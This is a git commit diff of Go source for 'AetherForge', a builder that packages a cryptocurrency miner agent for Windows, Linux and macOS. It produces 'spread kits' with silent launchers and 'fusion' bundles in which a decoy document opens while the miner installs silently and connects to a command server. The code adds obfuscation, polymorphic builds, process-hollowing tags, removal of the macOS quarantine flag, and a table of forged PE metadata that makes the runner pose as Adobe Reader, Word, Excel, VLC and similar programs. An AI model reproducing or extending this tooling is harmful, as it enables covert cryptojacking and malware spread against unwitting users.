Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
primary = w
|
||||
}
|
||||
zipSt, _ := os.Stat(zipPath)
|
||||
zipBytes := int64(0)
|
||||
if zipSt != nil {
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||
FileSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes,
|
||||
FusionExportDir: outDir,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if title == "" {
|
||||
title = payloadBase
|
||||
}
|
||||
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if titleBase == "" {
|
||||
titleBase = "fusion"
|
||||
}
|
||||
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
var fusionResults []*fusionBuildResult
|
||||
var primaryPath string
|
||||
for _, p := range platforms {
|
||||
workerPath := workers[p.Label()]
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
primaryPath = destRunner
|
||||
}
|
||||
if p.GOOS == "darwin" {
|
||||
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||
if mode == "paired" && prepPath != "" {
|
||||
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||
_ = copyFile(prepPath, destPayload)
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||
"What happens when launched:\r\n" +
|
||||
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
}
|
||||
zipSt2, _ := os.Stat(zipPath)
|
||||
zipBytes2 := int64(0)
|
||||
if zipSt2 != nil {
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||
FileSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
FusionEnabled: true,
|
||||
FusionExportDir: outDir,
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes2,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primaryPath
|
||||
}
|
||||
|
||||
func runnerNameForPlatform(p BuildPlatform) string {
|
||||
if p.GOOS == "windows" {
|
||||
return "runner.exe"
|
||||
}
|
||||
return "runner"
|
||||
}
|
||||
|
||||
func fileSize(st os.FileInfo) int64 {
|
||||
if st == nil {
|
||||
return 0
|
||||
}
|
||||
return st.Size()
|
||||
}
|
||||
|
||||
const universalDeploySh = `#!/bin/sh
|
||||
set -e
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
export AETHER_KIT_DIR="$DIR"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then
|
||||
echo "Worker binary missing: $RUN"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||
exit 0
|
||||
`
|
||||
|
||||
func spreadKitDeploySh() string {
|
||||
return universalDeploySh
|
||||
}
|
||||
|
||||
const spreadKitDeployBatBody = `@echo off
|
||||
setlocal
|
||||
set "DIR=%~dp0"
|
||||
set "AETHER_KIT_DIR=%DIR%"
|
||||
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||
if not exist "%RUN%" (
|
||||
echo Worker missing: %RUN%
|
||||
exit /b 1
|
||||
)
|
||||
start "" /B "%RUN%" --spread-install
|
||||
exit /b 0
|
||||
`
|
||||
|
||||
func spreadKitDeployBat() string {
|
||||
return spreadKitDeployBatBody
|
||||
}
|
||||
|
||||
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||
run = dir & "bin\windows-amd64\worker.exe"
|
||||
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||
WScript.Echo "Worker missing: " & run
|
||||
WScript.Quit 1
|
||||
End If
|
||||
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||
sh.Run """" & run & """ --spread-install", 0, False
|
||||
`
|
||||
|
||||
func spreadKitDeployVbs() string {
|
||||
return spreadKitDeployVbsBody
|
||||
}
|
||||
|
||||
const spreadKitStartCommandBody = `#!/bin/bash
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
exec "$DIR/deploy.sh"
|
||||
`
|
||||
|
||||
func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
func fusionUniversalStartSh(title string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if base == "" {
|
||||
base = "runner"
|
||||
}
|
||||
runnerBase := sanitizeFileName(base + "-runner")
|
||||
return `#!/bin/sh
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
exec "$RUN"
|
||||
`
|
||||
}
|
||||
|
||||
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||
func fusionUniversalStartBat(title string) string {
|
||||
runnerExe := disguisedRunnerName(title)
|
||||
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||
}
|
||||
|
||||
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||
func fusionUniversalStartCommand() string {
|
||||
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||
}
|
||||
|
||||
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||
=====================================
|
||||
|
||||
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||
|
||||
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||
macOS: double-click Start.command (or ./deploy.sh)
|
||||
|
||||
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||
|
||||
Command deck URL baked into workers: %s
|
||||
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||
|
||||
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||
`, req.WorkerName, req.ServerURL)
|
||||
}
|
||||
|
||||
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||
Worker: %s
|
||||
Build ID: %s
|
||||
Command URL: %s
|
||||
Pool: %s:%d
|
||||
Wallet: %s…
|
||||
Auto-spread: %v
|
||||
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||
|
||||
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||
}
|
||||
|
||||
func truncateWallet(w string) string {
|
||||
w = strings.TrimSpace(w)
|
||||
if len(w) <= 16 {
|
||||
return w
|
||||
}
|
||||
return w[:16]
|
||||
}
|
||||
@@ -1,13 +1,5 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
}
|
||||
|
||||
75
server/internal/builder/compile_platform.go
Normal file
75
server/internal/builder/compile_platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS="+platform.GOOS,
|
||||
"GOARCH="+platform.GOARCH,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return "", fmt.Errorf("write builtin config: %w", err)
|
||||
}
|
||||
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
225
server/internal/builder/disguise.go
Normal file
225
server/internal/builder/disguise.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
||||
// When injected into the runner, Windows Explorer and Task Manager will show
|
||||
// this information instead of the generic Go binary defaults.
|
||||
type fileDisguiseInfo struct {
|
||||
FileDescription string
|
||||
ProductName string
|
||||
CompanyName string
|
||||
LegalCopyright string
|
||||
OriginalFilename string // the "real" exe that Windows thinks this is
|
||||
FileVersion string // e.g. "24.0.20112.0"
|
||||
ProductVersion string // e.g. "2024.002.20965"
|
||||
}
|
||||
|
||||
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
||||
// the runner binary look like the legitimate application for that file type.
|
||||
// Extensions without an entry fall back to a generic Windows shell host entry.
|
||||
var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
// ── Documents ──────────────────────────────────────────────────────────────
|
||||
".pdf": {
|
||||
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
||||
},
|
||||
".doc": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".docx": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xls": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xlsx": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".ppt": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".pptx": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".txt": {
|
||||
FileDescription: "Text Document", ProductName: "Notepad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".csv": {
|
||||
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
// ── Video ──────────────────────────────────────────────────────────────────
|
||||
".mp4": {
|
||||
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".mkv": {
|
||||
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".mov": {
|
||||
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
||||
},
|
||||
".avi": {
|
||||
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wmv": {
|
||||
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
||||
